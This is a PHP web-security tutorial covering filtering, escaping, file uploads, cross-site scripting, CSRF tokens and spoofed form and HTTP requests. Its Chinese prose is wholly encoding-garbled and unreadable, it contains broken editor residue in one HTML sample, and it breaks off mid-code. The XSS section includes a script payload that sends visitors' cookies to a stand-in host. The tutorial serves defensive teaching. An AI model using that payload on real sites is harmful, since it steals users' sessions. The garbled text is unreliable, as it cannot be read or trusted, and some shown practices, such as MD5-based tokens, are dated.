¹ýÂËÊÇWebÓ¦Óð²È«µÄ»ù´¡¡£ËüÊÇÄãÑéÖ¤Êý¾ÝºÏ·¨ÐԵĹý³Ì¡£Í¨¹ýÔÚÊäÈëʱȷÈ϶ÔËùÓеÄÊý¾Ý½øÐйýÂË£¬Äã¿ÉÒÔ±ÜÃâ±»ÎÛȾ£¨Î´¹ýÂË£©Êý¾ÝÔÚÄãµÄ³ÌÐòÖб»ÎóÐż°ÎóÓᣴó¶àÊýÁ÷ÐеÄPHPÓ¦ÓõÄ©¶´×îÖÕ¶¼ÊÇÒòΪûÓжÔÊäÈë½øÐÐÇ¡µ±¹ýÂËÔì³ÉµÄ¡£
ÓкܶàÖÖ·½·¨¹ýÂËÊý¾Ý£¬ÆäÖÐÓÐһЩ°²È«ÐԽϸߡ£×îºÃµÄ·½·¨ÊǰѹýÂË¿´³ÉÊÇÒ»¸ö¼ì²éµÄ¹ý³Ì¡£Çë²»ÒªÊÔͼºÃÐĵØÈ¥¾ÀÕý·Ç·¨Êý¾Ý£¬ÒªÈÃÄãµÄÓû§°´ÄãµÄ¹æÔòÈ¥×ö£¬ÀúÊ·Ö¤Ã÷ÁËÊÔͼ¾ÀÕý·Ç·¨Êý¾ÝÍùÍù»áµ¼Ö°²È«Â©¶´¡£
ÁíÍâÒ»¸öWebÓ¦Óð²È«µÄ»ù´¡ÊǶÔÊä³ö½øÐÐתÒå»ò¶ÔÌØÊâ×Ö·û½øÐбàÂ룬ÒÔ±£Ö¤ÔÒâ²»±ä¡£ÀýÈ磬O'ReillyÔÚ´«Ë͸øMySQLÊý¾Ý¿âǰÐèҪתÒå³ÉO\'Reilly¡£µ¥ÒýºÅǰµÄ·´Ð±¸Ü´ú±íµ¥ÒýºÅÊÇÊý¾Ý±¾ÉíµÄÒ»²¿·Ö£¬¶ø²»ÊDz¢²»ÊÇËüµÄ±¾Òå¡£
Ïó¹ýÂËÒ»Ñù£¬×ªÒå¹ý³ÌÔÚÒÀÇéÐεIJ»Í¬¶ø²»Í¬¡£¹ýÂ˶ÔÓÚ²»Í¬ÀàÐ͵ÄÊý¾Ý´¦Àí·½·¨Ò²ÊDz»Í¬µÄ£¬×ªÒåÒ²ÊǸù¾ÝÄã´«ÊäÐÅÏ¢µ½²»Í¬µÄϵͳ¶ø²ÉÓò»Í¬µÄ·½·¨¡£
ΪÁËÇø·ÖÊý¾ÝÊÇ·ñÒÑתÒ壬»¹Êǽ¨Ò鶨ÒåÒ»¸öÃüÃû»úÖÆ¡£¶ÔÓÚÊä³öµ½¿Í»§»úµÄתÒåÊý¾Ý£¬Ê¹$htmlÊý×é½øÐд洢£¬¸ÃÊý¾ÝÊ×Ïȳõʼ»¯³ÉÒ»¸ö¿ÕÊý×飬¶ÔËùÓÐÒѹýÂ˺ÍÒÑתÒåÊý¾Ý½øÐб£´æ¡£
<?php
$html = array( );
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
echo "<p>Welcome, {$html['username']}.</p>";
?> htmlspecialchars( )º¯ÊýÓëhtmlentities( )º¯Êý»ù±¾Ïàͬ£¬ËüÃǵIJÎÊý¶¨ÒåÍêÈ«Ïàͬ£¬Ö»²»¹ýÊÇhtmlentities( )µÄתÒå¸üΪ³¹µ×¡£
ͨ¹ý$html['username']°ÑusernameÊä³öµ½¿Í»§¶Ë£¬Äã¾Í¿ÉÒÔÈ·±£ÆäÖеÄÌØÊâ×Ö·û²»»á±»ä¯ÀÀÆ÷Ëù´íÎó½âÊÍ¡£Èç¹ûusernameÖ»°üº¬×ÖĸºÍÊý×ֵϰ£¬Êµ¼ÊÉÏתÒåÊÇûÓбØÒªµÄ£¬µ«ÊÇÕâÌåÏÖÁËÉî¶È·À·¶µÄÔÔò¡£×ªÒåÈκεÄÊä³öÊÇÒ»¸ö·Ç³£ºÃµÄϰ¹ß£¬Ëü¿ÉÒÔÏ·¾çÐÔµØÌá¸ßÄãµÄÈí¼þµÄ°²È«ÐÔ¡£
ÁíÍâÒ»¸ö³£¼ûµÄÊä³öÄ¿±êÊÇÊý¾Ý¿â¡£Èç¹û¿ÉÄܵϰ£¬ÄãÐèÒª¶ÔSQLÓï¾äÖеÄÊý¾ÝʹÓÃPHPÄÚ½¨º¯Êý½øÐÐתÒå¡£¶ÔÓÚMySQLÓû§£¬×îºÃµÄתÒ庯ÊýÊÇmysql_real_escape_string( )¡£Èç¹ûÄãʹÓõÄÊý¾Ý¿âûÓÐPHPÄÚ½¨×ªÒ庯Êý¿ÉÓõϰ£¬addslashes( )ÊÇ×îºóµÄÑ¡Ôñ¡£
==ÓïÒåURL¹¥»÷
ÀýÈ磬Èç¹ûÓû§aµã»÷ÁËÒ»¸öÁ´½Ó²¢µ½´ïÁËÒ³Ãæhttp://abc.net/pr.php?user=a, ºÜ×ÔÈ»µØ¿ÉÄÜ»áÊÔͼ¸Ä±äuserµÄÖµ£¬¿´¿´»á·¢Éúʲô¡£
Èç¹ûʹÓÃsession¸ú×Ù£¬¿ÉÒԺܷ½±ãµØ±ÜÃâÉÏÊöÇé¿öµÄ·¢Éú£º
<?php
session_start();
$clean = array();
$email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pa, $_POST['email']))
{
$clean['email'] = $_POST['email'];
$user = $_SESSION['user'];
$new_password = md5(uniqid(rand(), TRUE));
if ($_SESSION['verified'])
{
/* Update Password */
mail($clean['email'], 'Your New Pass', $new_password);
}
}
?> ÕýÊÇÕâÖÖ²»ÐÅÈεÄ×ö·¨ÊÇ·ÀÖ¹ÄãµÄÓ¦ÓòúÉú©¶´µÄ¹Ø¼ü¡£
==ÎļþÉÏ´«¹¥»÷
ÓÐʱÔÚ³ýÁ˱ê×¼µÄ±íµ¥Êý¾ÝÍ⣬Ä㻹ÐèÒªÈÃÓû§½øÐÐÎļþÉÏ´«¡£ÓÉÓÚÎļþÔÚ±íµ¥Öд«ËÍʱÓëÆäËüµÄ±íµ¥Êý¾Ý²»Í¬£¬Äã±ØÐëÖ¸¶¨Ò»¸öÌØ±ðµÄ±àÂ뷽ʽmultipart/form-data£º
<form action="./upload.php" method="POST" enctype="multipart/form-data"> Ò»¸öͬʱÓÐÆÕͨ±íµ¥Êý¾ÝºÍÎļþµÄ±íµ¥ÊÇÒ»¸öÌØÊâµÄ¸ñʽ£¬¶øÖ¸¶¨±àÂ뷽ʽ¿ÉÒÔʹä¯ÀÀÆ÷Äܰ´¸Ã¿É¸ñʽµÄÒªÇóÈ¥´¦Àí¡£
ÔÊÐíÓû§½øÐÐÑ¡ÔñÎļþ²¢ÉÏ´«µÄ±íµ¥ÔªËØÊǺܼòµ¥µÄ£º
<input type="file" name="attachment" /> ¸ÃÔªËØÔÚ¸÷ÖÖä¯ÀÀÆ÷ÖеÄÍâ¹Û±íÏÖÐÎʽ¸÷Óв»Í¬¡£´«Í³ÉÏ£¬½çÃæÉϰüÀ¨Ò»¸ö±ê×¼µÄÎı¾¿ò¼°Ò»¸öä¯ÀÀ°´Å¥£¬ÒÔʹÓû§ÄÜÖ±½ÓÊÖ¹¤Â¼ÈëÎļþµÄ·¾¶»òͨ¹ýä¯ÀÀÑ¡Ôñ¡£ÔÚSafariä¯ÀÀÆ÷ÖÐÖ»ÓÐä¯ÀÀ°´Å¥¡£ÐÒÔ˵ÄÊÇ£¬ËüÃǵÄ×÷ÓÃÓëÐÐΪÊÇÏàͬµÄ¡£
ΪÁ˸üºÃµØÑÝʾÎļþÉÏ´«»úÖÆ£¬ÏÂÃæÊÇÒ»¸öÔÊÐíÓû§ÉÏ´«¸½¼þµÄÀý×Ó£º
<form action="./upload.php" method="POST" enctype="multipart/form-data">
<p>Please choose a file to upload:
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
<input type="file" name="attachment" /><br />
<input type="submit" value="Upload Attachment" /></p>
</form> Òþ²ØµÄ±íµ¥±äÁ¿MAX_FILE_SIZE¸æËßÁËä¯ÀÀÆ÷×î´óÔÊÐíÉÏ´«µÄÎļþ´óС¡£ÓëºÜ¶à¿Í»§¶ËÏÞÖÆÏàͬ£¬ÕâÒ»ÏÞÖÆºÜÈÝÒ×±»¹¥»÷ÕßÈÆ¿ª£¬µ«Ëü¿ÉÒÔΪºÏ·¨Óû§ÌṩÏòµ¼¡£ÔÚ·þÎñÆ÷ÉϽøÐиÃÏÞÖÆ²ÅÊǿɿ¿µÄ¡£
PHPµÄÅäÖñäÁ¿ÖУ¬upload_max_filesize¿ØÖÆ×î´óÔÊÐíÉÏ´«µÄÎļþ´óС¡£Í¬Ê±post_max_size£¨POST±íµ¥µÄ×î´óÌá½»Êý¾ÝµÄ´óС£©Ò²ÄÜDZÔڵؽøÐпØÖÆ£¬ÒòΪÎļþÊÇͨ¹ý±íµ¥Êý¾Ý½øÐÐÉÏ´«µÄ¡£
½ÓÊÕ³ÌÐòupload.phpÏÔʾÁ˳¬¼¶È«¾ÖÊý×é$_FILESµÄÄÚÈÝ£º
<?php
header('Content-Type: text/plain');
print_r($_FILES);
?> ΪÁËÀí½âÉÏ´«µÄ¹ý³Ì£¬ÎÒÃÇʹÓÃÒ»¸öÃûΪauthor.txtµÄÎļþ½øÐвâÊÔ£¬ÏÂÃæÊÇËüµÄÄÚÈÝ£º
user abc
http://abc.org/[/php]
µ±ÄãÉÏ´«¸ÃÎļþµ½upload.php³ÌÐòʱ£¬Äã¿ÉÒÔÔÚä¯ÀÀÆ÷Öп´µ½ÀàËÆÏÂÃæµÄÊä³ö£º [php]Array
(
[attachment] => Array
(
[name] => author.txt
[type] => text/plain
[tmp_name] => /tmp/phpShfltt
[error] => 0
[size] => 36
) ) ËäÈ»´ÓÉÏÃæ¿ÉÒÔ¿´³öPHPʵ¼ÊÔÚ³¬¼¶È«¾ÖÊý×é$_FILESÖÐÌṩµÄÄÚÈÝ£¬µ«ÊÇËüÎÞ·¨¸ø³ö±íµ¥Êý¾ÝµÄÔʼÐÅÏ¢¡£
ÓÉÓÚPHPÔÚÎļþϵͳµÄÁÙʱÎļþÇø±£´æÉÏ´«µÄÎļþ£¬ËùÒÔͨ³£½øÐеIJÙ×÷ÊǰÑËüÒÆµ½ÆäËüµØ·½½øÐб£´æ¼°¶ÁÈ¡µ½ÄÚ´æ¡£Èç¹ûÄã²»¶Ôtmp_name×÷¼ì²éÒÔÈ·±£ËüÊÇÒ»¸öÉÏ´«µÄÎļþ£¨¶ø²»ÊÇ/etc/passwdÖ®ÀàµÄ¶«Î÷£©£¬´æÔÚÒ»¸öÀíÂÛÉϵķçÏÕ¡£Ö®ËùÒÔ½ÐÀíÂÛÉϵķçÏÕ£¬ÊÇÒòΪûÓÐÒ»ÖÖÒÑÖªµÄ¹¥»÷ÊÖ¶ÎÔÊÐí¹¥»÷ÕßÈ¥ÐÞ¸Ätmp_nameµÄÖµ¡£µ«ÊÇ£¬Ã»Óй¥»÷Êֶβ¢²»Òâζ×ÅÄã²»ÐèÒª×öһЩ¼òµ¥µÄ°²È«´ëÊ©¡£ÐµĹ¥»÷ÊÖ¶ÎÿÌìÔÚ³öÏÖ£¬¶ø¼òµ¥µÄÒ»¸ö²½ÖèÄܱ£»¤ÄãµÄϵͳ¡£
PHPÌṩÁËÁ½¸ö·½±ãµÄº¯ÊýÒÔ¼õÇáÕâЩÀíÂÛÉϵķçÏÕ£ºis_uploaded_file( ) and move_uploaded_file( )¡£Èç¹ûÄãÐèҪȷ±£tmp_nameÖеÄÎļþÊÇÒ»¸öÉÏ´«µÄÎļþ£¬Äã¿ÉÒÔÓÃ
is_uploaded_file( )£º
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?> ×îºóÄã¿ÉÒÔÓà filesize( ) À´Ð£ÑéÎļþµÄ´óС£º
<?php
$filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename))
{
$size = filesize($filename);
}
?> ÕâЩ°²È«´ëÊ©µÄÄ¿µÄÊǼÓÉÏÒ»²ã¶îÍâµÄ°²È«±£»¤²ã¡£×î¼ÑµÄ·½·¨ÊÇÓÀÔ¶¾¡¿ÉÄÜÉÙµØÈ¥ÐÅÈΡ£¶øÇÒËùÓеÄÊäÈë¶¼ÊÇÓк¦µÄ¡£
==¿çÕ¾½Å±¾¹¥»÷
ËùÓÐÓÐÊäÈëµÄÓ¦Óö¼ÃæÁÙ×Å·çÏÕ¡£ÊÂʵÉÏ£¬´ó¶àÊýWebÓ¦ÓÃÌṩÊäÈëÊdzöÓÚ¸üÎüÒýÈËÆøµÄÄ¿µÄ£¬µ«Í¬Ê±ÕâÒ²»á°Ñ×Ô¼ºÖÃÓÚΣÏÕÖ®ÖС£Èç¹ûÊäÈëûÓÐÕýÈ·µØ½øÐйýÂ˺ÍתÒ壬¿çÕ¾½Å±¾Â©¶´¾Í²úÉúÁË¡£
ÒÔÒ»¸öÔÊÐíÔÚÿ¸öÒ³ÃæÉϼÈëÆÀÂÛµÄÓ¦ÓÃΪÀý£¬ËüʹÓÃÁËÏÂÃæµÄ±íµ¥°ïÖúÓû§½øÐÐÌá½»£º
<form action="./comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form> ³ÌÐòÏòÆäËû·ÃÎʸÃÒ³ÃæµÄÓû§ÏÔʾÆÀÂÛ¡£ÀýÈ磬ÀàËÆÏÂÃæµÄ´úÂë¶Î¿ÉÄܱ»ÓÃÀ´Êä³öÒ»¸öÆÀÂÛ($comment)¼°ÓëÖ®¶ÔÓ¦µÄ·¢±íÈË£¨$name£©£º
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?> Õâ¸öÁ÷³Ì¶Ô$comment¼°$nameµÄÖµ¸øÓèÁ˳ä·ÖµÄÐÅÈΣ¬ÏëÏóÒ»ÏÂËüÃÇÖеÄÒ»¸öµÄÄÚÈÝÖаüº¬ÈçÏ´úÂ룺
<script>
document.location =
'http://a.abc.net/s.php?cookies=' +
document.cookie
</script> Èç¹ûÄãµÄÓû§²ì¿´Õâ¸öÆÀÂÛʱ£¬ÕâÓëÄãÔÊÐí±ðÈËÔÚÄãµÄÍøÕ¾Ô´³ÌÐòÖмÓÈëJavascript´úÂëÎÞÒì¡£ÄãµÄÓû§»áÔÚ²»Öª²»¾õÖаÑËûÃǵÄcookies(ä¯ÀÀÍøÕ¾µÄÈË)·¢Ë͵½a.abc.net£¬¶ø½ÓÊÕ³ÌÐò(s.php)¿ÉÒÔͨ¹ý$_GET['cookies']±äÁ¿·ÀÎÊËùÓеÄcookies¡£
ÕâÊÇÒ»¸ö³£¼ûµÄ´íÎó£¬Ö÷ÒªÊÇÓÉÓÚ²»ºÃµÄ±à³Ìϰ¹ßÒý·¢µÄ¡£ÐÒÔ˵ÄÊÇ´ËÀà´íÎóºÜÈÝÒ×±ÜÃâ¡£ÓÉÓÚÕâÖÖ·çÏÕÖ»ÔÚÄãÊä³öÁ˱»ÎÛȾÊý¾Ýʱ·¢Éú£¬ËùÒÔֻҪȷ±£×öµ½ÈçµÚÒ»ÕÂËùÊöµÄ¹ýÂËÊäÈ뼰תÒåÊä³ö¼´¿É
×îÆðÂëÄãÒªÓÃhtmlentities( )¶ÔÈκÎÄãÒªÊä³öµ½¿Í»§¶ËµÄÊý¾Ý½øÐÐתÒå¡£¸Ãº¯Êý¿ÉÒÔ°ÑËùÓеÄÌØÊâ×Ö·ûת»»³ÉHTML±íʾ·½Ê½¡£ËùÓлáÒýÆðä¯ÀÀÆ÷½øÐÐÌØÊâ´¦ÀíµÄ×Ö·ûÔÚ½øÐÐÁËת»»ºó£¬¾ÍÄÜÈ·±£ÏÔʾ³öÀ´µÄÊÇÔÀ´Â¼ÈëµÄÄÚÈÝ¡£
==¿çÕ¾ÇëÇóαÔì
¿çÕ¾ÇëÇóαÔì(CSRF)ÊÇÒ»ÖÖÔÊÐí¹¥»÷Õßͨ¹ýÊܺ¦Õß·¢ËÍÈÎÒâHTTPÇëÇóµÄÒ»À๥»÷·½·¨¡£´Ë´¦ËùÖ¸µÄÊܺ¦ÕßÊÇÒ»¸ö²»ÖªÇéµÄͬı£¬ËùÓеÄαÔìÇëÇó¶¼ÓÉËû·¢Æð£¬¶ø²»Êǹ¥»÷Õß¡£ÕâÑù£¬ºÜÄã¾ÍºÜÄÑÈ·¶¨ÄÄЩÇëÇóÊÇÊôÓÚ¿çÕ¾ÇëÇóαÔì¹¥»÷¡£ÊÂʵÉÏ£¬Èç¹ûûÓжԿçÕ¾ÇëÇóαÔì¹¥»÷½øÐÐÌØÒâ·À·¶µÄ»°£¬ÄãµÄÓ¦ÓúÜÓпÉÄÜÊÇÓЩ¶´µÄ¡£
ÄãÐèÒªÓü¸¸ö²½ÖèÀ´¼õÇá¿çÕ¾ÇëÇóαÔì¹¥»÷µÄ·çÏÕ¡£Ò»°ãµÄ²½Öè°üÀ¨Ê¹ÓÃPOST·½Ê½¶ø²»ÊÇʹÓÃGETÀ´Ìá½»±íµ¥£¬ÔÚ´¦Àí±íµ¥ÌύʱʹÓÃ$_POST¶ø²»ÊÇ$_REQUEST£¬Í¬Ê±ÐèÒªÔÚÖØÒª²Ù×÷ʱ½øÐÐÑéÖ¤£¨Ô½ÊÇ·½±ã£¬·çÏÕÔ½´ó£¬ÄãÐèÒªÇóµÃ·½±ãÓë·çÏÕÖ®¼äµÄƽºâ£©¡£
ÈκÎÐèÒª½øÐвÙ×÷µÄ±íµ¥¶¼ÒªÊ¹ÓÃPOST·½Ê½¡£ÔÚRFC 2616(HTTP/1.1´«ËÍÐÒ飬Òë×¢)µÄ9.1.1С½ÚÖÐÓÐÒ»¶ÎÃèÊö£º
“ÌØ±ðÐèÒªÖ¸³öµÄÊÇ£¬Ï°¹ßÉÏGETÓëHEAD·½Ê½²»Ó¦¸ÃÓÃÓÚÒý·¢Ò»¸ö²Ù×÷£¬¶øÖ»ÊÇÓÃÓÚ»ñÈ¡ÐÅÏ¢¡£ÕâЩ·½Ê½Ó¦¸Ã±»ÈÏΪÊÇ‘°²È«’µÄ¡£¿Í»§ä¯ÀÀÆ÷Ó¦ÒÔÌØÊâµÄ·½Ê½£¬ÈçPOST£¬PUT»òDELETE·½Ê½À´Ê¹Óû§Òâʶµ½ÕýÔÚÇëÇó½øÐеIJÙ×÷¿ÉÄÜÊDz»°²È«µÄ¡£”
×îÖØÒªµÄÒ»µãÊÇÄãÒª×öµ½ÄÜÇ¿ÖÆÊ¹ÓÃÄã×Ô¼ºµÄ±íµ¥½øÐÐÌá½»¡£¾¡¹ÜÓû§Ìá½»µÄÊý¾Ý¿´ÆðÀ´ÏóÊÇÄã±íµ¥µÄÌá½»½á¹û£¬µ«Èç¹ûÓû§²¢²»ÊÇÔÚ×î½üµ÷ÓÃµÄ±íµ¥£¬Õâ¾Í±È½Ï¿ÉÒÉÁË¡£Çë¿´ÏÂÃæ¶ÔǰÀýÓ¦Óøü¸ÄºóµÄ´úÂ룺
<?php session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form> ͨ¹ýÕâЩ¼òµ¥µÄÐ޸ģ¬Ò»¸ö¿çÕ¾ÇëÇóαÔì¹¥»÷¾Í±ØÐë°üÀ¨Ò»¸öºÏ·¨µÄÑéÖ¤ÂëÒÔÍêȫģ·Â±íµ¥Ìá½»¡£ÓÉÓÚÑéÖ¤ÂëµÄ±£´æÔÚÓû§µÄsessionÖе쬹¥»÷Õß±ØÐë¶Ôÿ¸öÊܺ¦ÕßʹÓò»Í¬µÄÑéÖ¤Âë¡£ÕâÑù¾ÍÓÐЧµÄÏÞÖÆÁ˶ÔÒ»¸öÓû§µÄÈκι¥»÷£¬ËüÒªÇó¹¥»÷Õß»ñÈ¡ÁíÍâÒ»¸öÓû§µÄºÏ·¨ÑéÖ¤Â롣ʹÓÃÄã×Ô¼ºµÄÑéÖ¤ÂëÀ´Î±ÔìÁíÍâÒ»¸öÓû§µÄÇëÇóÊÇÎÞЧµÄ¡£ ¸ÃÑéÖ¤Âë¿ÉÒÔ¼òµ¥µØÍ¨¹ýÒ»¸öÌõ¼þ±í´ïʽÀ´½øÐмì²é£º
<?php if (isset($_SESSION['token']) &&
$_POST['token'] == $_SESSION['token'])
{
}
?> Ä㻹ÄܶÔÑéÖ¤Âë¼ÓÉÏÒ»¸öÓÐЧʱ¼äÏÞÖÆ£¬Èç5·ÖÖÓ£º
<?php $token_age = time() - $_SESSION['token_time']; if ($token_age <= 300)
{
}
?> ͨ¹ýÔÚÄãµÄ±íµ¥ÖаüÀ¨ÑéÖ¤Â룬ÄãÊÂʵÉÏÒѾÏû³ýÁË¿çÕ¾ÇëÇóαÔì¹¥»÷µÄ·çÏÕ¡£¿ÉÒÔÔÚÈκÎÐèÒªÖ´ÐвÙ×÷µÄÈÎºÎ±íµ¥ÖÐʹÓÃÕâ¸öÁ÷³Ì¡£
¾¡¹ÜÎÒʹÓÃimg±êÇ©ÃèÊöÁ˹¥»÷·½·¨£¬µ«¿çÕ¾ÇëÇóαÔì¹¥»÷Ö»ÊÇÒ»¸ö×ܳƣ¬ËüÊÇÖ¸ËùÓй¥»÷Õßͨ¹ýαÔìËûÈ˵ÄHTTPÇëÇó½øÐй¥»÷µÄÀàÐÍ¡£ÒÑÖªµÄ¹¥»÷·½·¨Í¬Ê±°üÀ¨¶ÔGETºÍPOSTµÄ¹¥»÷£¬ËùÒÔ²»ÒªÈÏΪֻҪÑϸñµØÖ»Ê¹ÓÃPOST·½Ê½¾ÍÐÐÁË¡£
==ÆÛÆ±íµ¥Ìá½»
ÖÆÔìÒ»¸öÆÛÆ±íµ¥¼¸ºõÓë¼ÙÔìÒ»¸öURLÒ»Ñù¼òµ¥¡£±Ï¾¹£¬±íµ¥µÄÌá½»Ö»ÊÇä¯ÀÀÆ÷·¢³öµÄÒ»¸öHTTPÇëÇó¶øÒÑ¡£ÇëÇóµÄ²¿·Ö¸ñʽȡ¾öÓÚ±íµ¥£¬Ä³Ð©ÇëÇóÖеÄÊý¾ÝÀ´×ÔÓÚÓû§¡£
´ó¶àÊý±íµ¥ÓÃÒ»¸öÏà¶ÔURLµØÖ·À´Ö¸¶¨actionÊôÐÔ£º
<form action="./pr.php" method="POST"> µ±±íµ¥Ìύʱ£¬ä¯ÀÀÆ÷»áÇëÇóactionÖÐÖ¸¶¨µÄURL£¬Í¬Ê±ËüʹÓõ±Ç°µÄURLµØÖ·À´¶¨Î»Ïà¶ÔURL¡£ÔòÔÚÓû§Ìá½»±íµ¥ºó»áÇëÇóURLµØÖ·http://abc.net/pr.php¡£
ÖªµÀÁËÕâÒ»µã£¬ºÜÈÝÒ×¾ÍÄÜÏëµ½Äã¿ÉÒÔÖ¸¶¨Ò»¸ö¾ø¶ÔµØÖ·£¬ÕâÑù±íµ¥¾Í¿ÉÒÔ·ÅÔÚÈκεط½ÁË£º
<form action="http://abc.net/pr.php" method="POST"> Õâ¸ö±íµ¥¿ÉÒÔ·ÅÔÚÈκεط½£¬²¢ÇÒʹÓÃÕâ¸ö±íµ¥²úÉúµÄÌá½»ÓëÔʼ±íµ¥²úÉúµÄÌá½»ÊÇÏàͬµÄ¡£Òâʶµ½ÕâÒ»µã£¬¹¥»÷Õß¿ÉÒÔͨ¹ý²é¿´Ò³ÃæÔ´Îļþ²¢±£´æÔÚËûµÄ·þÎñÆ÷ÉÏ£¬Í¬Ê±½«action¸ü¸ÄΪ¾ø¶ÔURLµØÖ·¡£Í¨¹ýʹÓÃÕâЩÊֶΣ¬¹¥»÷Õß¿ÉÒÔÈÎÒâ¸ü¸Ä±íµ¥£¬ÈçÈ¡Ïû×î´ó×ֶ㤶ÈÏÞÖÆ£¬È¡Ïû±¾µØÑéÖ¤´úÂ룬¸ü¸ÄÒþ²Ø×ֶεÄÖµ£¬»òÕß³öÓÚ¸ü¼ÓÁé»îµÄÄ¿µÄ¶ø¸ÄÐ´ÔªËØÀàÐÍ¡£ÕâЩ¸ü¸Ä°ïÖú¹¥»÷ÕßÏò·þÎñÆ÷Ìá½»ÈκÎÊý¾Ý£¬Í¬Ê±ÓÉÓÚÕâ¸ö¹ý³Ì·Ç³£¼ò±ãÒ×ÐУ¬¹¥»÷ÕßÎÞÐèÊÇÒ»¸öר¼Ò¼´¿É×öµ½¡£
ÆÛÆ±íµ¥¹¥»÷ÊDz»ÄÜ·ÀÖ¹µÄ£¬¾¡¹ÜÕâ¿´ÆðÀ´ÓÐµãÆæ¹Ö£¬µ«ÊÂʵÉÏÈç´Ë¡£²»¹ýÕâÄã²»ÐèÒªµ£ÐÄ¡£Ò»µ©ÄãÕýÈ·µØ¹ýÂËÁËÊäÈ룬Óû§¾Í±ØÐëÒª×ñÊØÄãµÄ¹æÔò£¬ÕâÓëËûÃÇÈçºÎÌá½»Î޹ء£
==HTTPÇëÇóÆÛÆ
Ò»¸ö±ÈÆÛÆ±íµ¥¸ü¸ß¼¶ºÍ¸´ÔӵĹ¥»÷·½Ê½ÊÇHTTPÇëÇóÆÛÆ¡£Õâ¸øÁ˹¥»÷ÕßÍêÈ«µÄ¿ØÖÆÈ¨ÓëÁé»îÐÔ£¬Ëü½øÒ»²½Ö¤Ã÷Á˲»ÄÜäĿÐÅÈÎÓû§Ìá½»µÄÈκÎÊý¾Ý¡£
Çë¿´ÏÂÃæÎ»ÓÚhttp://abc.net/form.phpµÄ±íµ¥£º
<form action="process.php" method="POST">
<p>Please select a color:
<select name="color">
<option value="red">Red</option>
<option value="green">Green</option>
<option value="blue">Blue</option>
</select><br />
<input type="submit" value="Select" /></p>
</form> Èç¹ûÓû§Ñ¡ÔñÁËRed²¢µã»÷ÁËSelect°´Å¥ºó£¬ä¯ÀÀÆ÷»á·¢³öÏÂÃæµÄHTTPÇëÇó£º
POST /process.php HTTP/1.1
Host: abc.net
User-Agent: Mozilla/5.0 (X11; U; Linux i686)
Referer: http://abc.net/form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 9 color=red
. ¿´µ½´ó¶àÊýä¯ÀÀÆ÷»á°üº¬Ò»¸öÀ´Ô´µÄURLÖµ£¬Äã¿ÉÄÜ»áÊÔͼʹÓÃ$_SERVER['HTTP_REFERER']±äÁ¿È¥·ÀÖ¹ÆÛÆ¡£È·Êµ£¬Õâ¿ÉÒÔÓÃÓÚ¶Ô¸¶ÀûÓñê×¼ä¯ÀÀÆ÷·¢ÆðµÄ¹¥»÷£¬µ«¹¥»÷ÕßÊDz»»á±»Õâ¸öСÂé·³¸øµ²×¡µÄ¡£Í¨¹ý±à¼HTTPÇëÇóµÄÔʼÐÅÏ¢£¬¹¥»÷Õß¿ÉÒÔÍêÈ«¿ØÖÆHTTPÍ·²¿µÄÖµ£¬GETºÍPOSTµÄÊý¾Ý£¬ÒÔ¼°ËùÓÐÔÚHTTPÇëÇóµÄÄÚÈÝ¡£
¹¥»÷ÕßÈçºÎ¸ü¸ÄÔʼµÄHTTPÇëÇ󣿹ý³Ì·Ç³£¼òµ¥¡£Í¨¹ýÔÚ´ó¶àÊýϵͳƽ̨É϶¼ÌṩµÄTelnetʵÓóÌÐò£¬Äã¾Í¿ÉÒÔͨ¹ýÁ¬½ÓÍøÕ¾·þÎñÆ÷µÄÕìÌý¶Ë¿Ú£¨µäÐ͵Ķ˿ÚΪ80£©À´ÓëWeb·þÎñÆ÷Ö±½ÓͨÐÅ¡£ÏÂÃæ¾ÍÊÇʹÓÃÕâ¸ö¼¼ÇÉÇëÇóhttp://abc.net/Ò³ÃæµÄÀý×Ó£º
$ telnet abc.net 80
Trying 192.0.34.166...
Connected to abc.net (192.0.34.166).
Escape character is '^]'.
GET / HTTP/1.1
Host: abc.net HTTP/1.1 200 OK
Date: Sat, 21 May 2005 12:34:56 GMT
Server: Apache/1.3.31 (Unix)
Accept-Ranges: bytes
Content-Length: 410
Connection: close
Content-Type: text/html <html>
<head>
<title>abc.net</title>
</head>
<body>
<p>You have reached this web page by typing "example.com",
"example.net", or "example.org" into your web browser.</p>
<p>These domain names are reserved for use in documentation and are not
available for registration. See
<a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section
3.</p>
</body>
</html> Connection closed by foreign host.
$ ËùÏÔʾµÄÇëÇóÊÇ·ûºÏHTTP/1.1¹æ·¶µÄ×î¼òµ¥µÄÇëÇó£¬ÕâÊÇÒòΪHostÐÅÏ¢ÊÇÍ·²¿ÐÅÏ¢ÖÐËù±ØÐëÓеġ£Ò»µ©ÄãÊäÈëÁ˱íʾÇëÇó½áÊøµÄÁ¬ÐøÁ½¸ö»»Ðзû£¬Õû¸öHTMLµÄ»ØÓ¦¼´ÏÔʾÔÚÆÁÄ»ÉÏ¡£
TelnetʵÓóÌÐò²»ÊÇÓëWeb·þÎñÆ÷Ö±½ÓͨÐŵÄΨһ·½·¨£¬µ«Ëü³£³£ÊÇ×î·½±ãµÄ¡£¿ÉÊÇÈç¹ûÄãÓÃPHP±àÂëͬÑùµÄÇëÇó£¬Äã¿ÉÒԾͿÉÒÔʵÏÖ×Ô¶¯²Ù×÷ÁË¡£Ç°ÃæµÄÇëÇó¿ÉÒÔÓÃÏÂÃæµÄPHP´úÂëʵÏÖ£º
<?php
$http_response = '';
